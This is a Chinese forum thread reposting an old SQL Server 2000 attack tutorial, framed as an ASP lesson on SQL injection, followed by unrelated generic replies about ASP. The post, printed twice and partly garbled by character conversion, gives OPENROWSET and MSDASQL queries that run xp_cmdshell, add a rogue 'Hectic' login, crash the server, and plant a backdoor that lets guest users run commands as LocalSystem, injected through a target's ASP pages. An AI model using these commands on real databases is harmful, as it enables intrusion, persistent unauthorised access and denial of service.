仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 655|回复: 7
打印 上一主题 下一主题

[学习教程] ASP教程之不为人知的SQL注进技能

[复制链接]
小妖女 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:06:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
ASP脚本是采用明文(plaintext)方式来编写的。技能|sql注进1.关于Openrowset和Opendatasource
2.关于Msdasql两次哀求的成绩
3.可骇的后门


上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点侥幸的
成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。

  1.关于Openrowset和Opendatasource

  大概这个技能早有人已会了,就是使用openrowset发送当地命令。一般我们的用
法是(包含MSDN的列子)以下:

  select*fromopenrowset(sqloledb,myserver;sa;,select*fromta
ble)

  可见(即便从字面意义上看)openrowset只是作为一个快速的远程数据库会见,它必
须跟在select前面,也就是说必要前往一个recordset。

  那末我们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!

  select*fromopenrowset(sqloledb,server;sa;,setfmtonlyoff

  execmaster.dbo.xp_cmdshelldirc:)

  必需加上setfmtonlyoff用来屏障默许的只前往列信息的设置,如许xp_cmdshell
前往的output汇合就会提交给后面的select显现,假如接纳默许设置,会前往空汇合导
致select堕落,命令也就没法实行了。

  那末假如我们要挪用sp_addlogin呢,他不会像xp_cmdshell前往任何汇合的,我们
就不克不及再依托fmtonly设置了,能够以下操纵:

  select*fromopenrowset(sqloledb,server;sa;,selectOK!

  execmaster.dbo.sp_addloginHectic)

  如许,命令最少会前往selectOK!的汇合,你的呆板商会显现OK!,同时对方的数
据库内也会增添一个Hectic的账号,也就是说,我们使用selectOK!的前往汇合棍骗
了当地的select哀求,是命令可以一般实行,通理sp_addsrvrolemember和opendatasou
rce也能够云云操纵!至于这个办法真实的用途,人人渐渐想吧。

  2.关于Msdasql两次哀求的成绩

  不晓得人人有无试过用msdasql毗连远程数据库,固然这个api必需是sqlserver的
办理员才能够挪用,那末以下:

  select*fromopenrowset(msdasql,driver={sqlserver};server=server;ad
dress=server,1433;uid=sa;pwd=;database=master;network=dbmssocn,s

elect*fromtable1select*fromtable2)

  当table1和table2的字段数量不不异时,你会发明对方的sqlserver溃散了,连当地
毗连城市失利,而体系资本占用统统一般,用pskill杀逝世sqlserver历程后,假如不重
启呆板,sqlserver要末没法一般启动,要末经常呈现不法操纵,我也只是可巧找到这个
bug的,详细缘故原由我还没有摸透,并且很奇异的是这个征象只呈现在msdasql上,sqlole
db就没有这个成绩,看来成绩不是在于哀求汇合数量和前往汇合数量不婚配上,应当还
是msdasql自己的成绩,详细缘故原由,人人一同渐渐研讨吧。

  3.可骇的后门

  之前在网上看到有人说在sqlserver上留后门能够经由过程增加triger、jobs或改写sp
_addlogin和sp_addsrvrolemember做到,这些办法固然可行,可是很简单会被发明。不
晓得人人有无想过sqloledb的当地毗连映照。呵呵,好比你在对方的sqlserver上用s
qlserver的办理员账号实行以下的命令:

  select*fromopenrowset(sqloledb,trusted_connection=yes;datasource=
Hectic,setfmtonlyoffexecmaster..xp_cmdshelldirc:)

  如许在对方的sqlserver上创建了一个名为Hectic的当地毗连映照,只需sqlserve
r不重启,这个映照会一向存鄙人往,最少我如今还不晓得怎样发明他人安排的毗连映照
,好了,以上的命令运转事后,你会发明哪怕是sqlserver没有任何权限的guest用户,
运转以上这条命令也一样能经由过程!并且权限是localsystem!(默许安装)呵呵!这个
办法能够用来在以被进侵过取得办理员权限的sqlserver上留下一个后门了。以上的办法
在sqlserver2000sqlserver2000SP1上经由过程!

  别的另有一个推测,不晓得人人有无注重过windows默许附带的两个dsn,一个是
localserver一个是msqi,这两个在创建的时分是当地办理员账号毗连sqlserver的,如
果对方的sqlserver是经由过程自界说的poweruser启动,那末sa的权限就和poweruser一
样,很难有所高文为,可是我们经由过程以下的命令:

  select*fromopenrowset

  (msdasql,dsn=locaserver;trusted_connection=yes,setfmtonlyoffexec


master..xp_cmdshelldirc:)

  应当能够使用localserver的办理员账号毗连当地sqlserver然后再以这个账号的权
限实行当地命令了,这是后我想应当能冲破sa谁人poweruser权限了。如今的成绩是sq
loledb没法挪用dsn毗连,而msdasql非办理员不让挪用,以是我如今正在寻觅guest挪用
msdasql的办法。

  假如有人晓得这个bug怎样冲破,或有新的设法,我们能够一同会商一下,这个发放
假如能乐成被guest使用,将会是一个很严峻的平安毛病。由于我们后面提到的任何sql
语句都能够提交给对方的asp往帮我们实行。



上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点侥幸的
成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。1.关于Openrowset和O
pendatasource大概这个技能早有人已会了,就是使用openrowset发送当地命令。通
常我们的用法是(包含MSDN的列子)以下...

  上面我要谈到一些Sqlserver新的Bug,固然自己经由长工夫的勉力,固然也有点幸
运的成份在内,才得以发明,不敢一团体独享,拿出来请人人判别。

  1.关于Openrowset和Opendatasource

  大概这个技能早有人已会了,就是使用openrowset发送当地命令。一般我们的用
法是(包含MSDN的列子)以下:

  select*fromopenrowset(sqloledb,myserver;sa;,select*fromta
ble)

  可见(即便从字面意义上看)openrowset只是作为一个快速的远程数据库会见,它必
须跟在select前面,也就是说必要前往一个recordset。

  那末我们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!

  select*fromopenrowset(sqloledb,server;sa;,setfmtonlyoff

  execmaster.dbo.xp_cmdshelldirc:)

  必需加上setfmtonlyoff用来屏障默许的只前往列信息的设置,如许xp_cmdshell
前往的output汇合就会提交给后面的select显现,假如接纳默许设置,会前往空汇合导
致select堕落,命令也就没法实行了。

  那末假如我们要挪用sp_addlogin呢,他不会像xp_cmdshell前往任何汇合的,我们
就不克不及再依托fmtonly设置了,能够以下操纵:

  select*fromopenrowset(sqloledb,server;sa;,selectOK!

  execmaster.dbo.sp_addloginHectic)

  如许,命令最少会前往selectOK!的汇合,你的呆板商会显现OK!,同时对方的数
据库内也会增添一个Hectic的账号,也就是说,我们使用selectOK!的前往汇合棍骗
了当地的select哀求,是命令可以一般实行,通理sp_addsrvrolemember和opendatasou
rce也能够云云操纵!至于这个办法真实的用途,人人渐渐想吧。

  2.关于Msdasql两次哀求的成绩

  不晓得人人有无试过用msdasql毗连远程数据库,固然这个api必需是sqlserver的
办理员才能够挪用,那末以下:

  select*fromopenrowset(msdasql,driver={sqlserver};server=server;ad
dress=server,1433;uid=sa;pwd=;database=master;network=dbmssocn,s

elect*fromtable1select*fromtable2)

  当table1和table2的字段数量不不异时,你会发明对方的sqlserver溃散了,连当地
毗连城市失利,而体系资本占用统统一般,用pskill杀逝世sqlserver历程后,假如不重
启呆板,sqlserver要末没法一般启动,要末经常呈现不法操纵,我也只是可巧找到这个
bug的,详细缘故原由我还没有摸透,并且很奇异的是这个征象只呈现在msdasql上,sqlole
db就没有这个成绩,看来成绩不是在于哀求汇合数量和前往汇合数量不婚配上,应当还
是msdasql自己的成绩,详细缘故原由,人人一同渐渐研讨吧。

  3.可骇的后门

  之前在网上看到有人说在sqlserver上留后门能够经由过程增加triger、jobs或改写sp
_addlogin和sp_addsrvrolemember做到,这些办法固然可行,可是很简单会被发明。不
晓得人人有无想过sqloledb的当地毗连映照。呵呵,好比你在对方的sqlserver上用s
qlserver的办理员账号实行以下的命令:

  select*fromopenrowset(sqloledb,trusted_connection=yes;datasource=
Hectic,setfmtonlyoffexecmaster..xp_cmdshelldirc:)

  如许在对方的sqlserver上创建了一个名为Hectic的当地毗连映照,只需sqlserve
r不重启,这个映照会一向存鄙人往,最少我如今还不晓得怎样发明他人安排的毗连映照
,好了,以上的命令运转事后,你会发明哪怕是sqlserver没有任何权限的guest用户,
运转以上这条命令也一样能经由过程!并且权限是localsystem!(默许安装)呵呵!这个
办法能够用来在以被进侵过取得办理员权限的sqlserver上留下一个后门了。以上的办法
在sqlserver2000sqlserver2000SP1上经由过程!

  别的另有一个推测,不晓得人人有无注重过windows默许附带的两个dsn,一个是
localserver一个是msqi,这两个在创建的时分是当地办理员账号毗连sqlserver的,如
果对方的sqlserver是经由过程自界说的poweruser启动,那末sa的权限就和poweruser一
样,很难有所高文为,可是我们经由过程以下的命令:

  select*fromopenrowset

  (msdasql,dsn=locaserver;trusted_connection=yes,setfmtonlyoffexec


master..xp_cmdshelldirc:)

  应当能够使用localserver的办理员账号毗连当地sqlserver然后再以这个账号的权
限实行当地命令了,这是后我想应当能冲破sa谁人poweruser权限了。如今的成绩是sq
loledb没法挪用dsn毗连,而msdasql非办理员不让挪用,以是我如今正在寻觅guest挪用
msdasql的办法。

  假如有人晓得这个bug怎样冲破,或有新的设法,我们能够一同会商一下,这个发放
假如能乐成被guest使用,将会是一个很严峻的平安毛病。由于我们后面提到的任何sql
语句都能够提交给对方的asp往帮我们实行。

强大的可扩展性。ASP具有强大的扩展性,可以实现与多种网络、硬件设备的连接:通过专用的通讯线路远程接入企业;通过远程拨号服务器为远程拨号客户提供服务;通过WAP为移动电话互联网客户服务。
山那边是海 该用户已被删除
沙发
发表于 2015-1-18 20:35:12 | 只看该作者
弱类型造成潜在的出错可能:尽管弱数据类型的编程语言使用起来回方便一些,但相对于它所造成的出错几率是远远得不偿失的。
只想知道 该用户已被删除
板凳
发表于 2015-1-25 20:17:09 | 只看该作者
我就感觉到ASP和一些常用的数据库编程以及软件工程方面的思想是非常重要的。我现在也在尝试自己做网页,这其中就用到了ASP,我想它的作用是可想而知的。
若相依 该用户已被删除
地板
发表于 2015-2-3 23:02:56 | 只看该作者
ASP主要是用好六个对象,其实最主要的是用好其中两个:response和request,就可以随心所欲地控制网页变换和响应用户动作了。
再见西城 该用户已被删除
5#
发表于 2015-2-9 07:04:21 | 只看该作者
如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助:
第二个灵魂 该用户已被删除
6#
发表于 2015-2-27 04:13:09 | 只看该作者
兴趣爱好,那么你无须学编程,申请一个域名和空间,在网上下载一些免费开源的CMS系统,你不用改代码,只须熟悉它们的后台操作,像office一样简单方便,很快就能建一个站点,很多站长都是这样做的
不帅 该用户已被删除
7#
发表于 2015-3-8 20:46:51 | 只看该作者
弱类型造成潜在的出错可能:尽管弱数据类型的编程语言使用起来回方便一些,但相对于它所造成的出错几率是远远得不偿失的。
海妖 该用户已被删除
8#
发表于 2015-3-16 14:55:26 | 只看该作者
它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 00:36

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表